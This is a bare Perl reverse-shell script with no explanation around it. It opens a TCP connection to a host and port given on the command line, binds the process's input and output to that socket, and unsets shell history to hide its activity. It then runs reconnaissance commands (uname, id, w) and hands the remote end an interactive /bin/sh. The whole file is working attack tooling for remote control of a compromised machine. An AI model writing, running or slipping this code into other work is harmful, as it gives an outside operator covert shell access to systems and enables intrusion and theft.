#!/usr/bin/perl
use Socket;
$host = $ARGV[0];
$port = 8080;
if ($ARGV[1]) {
  $port = $ARGV[1];
}
$proto = getprotobyname('tcp') || die("");
socket(SERVER, PF_INET, SOCK_STREAM, $proto) || die ("[-] Socket Eror\n\n");
my $target = inet_aton($host);
if (!connect(SERVER, pack "SnA4x8", 2, $port, $target)) {
  die(":(");
}
if (!fork( )) {
  open(STDIN,">&SERVER");
  open(STDOUT,">&SERVER");
  open(STDERR,">&SERVER");
  system("unset HISTFILE; unset HISTSAVE ; uname -a ; id ; w ; echo \"[+] Do not fucking press Ctrl+C\"; /bin/sh -i");
  exit(0);
}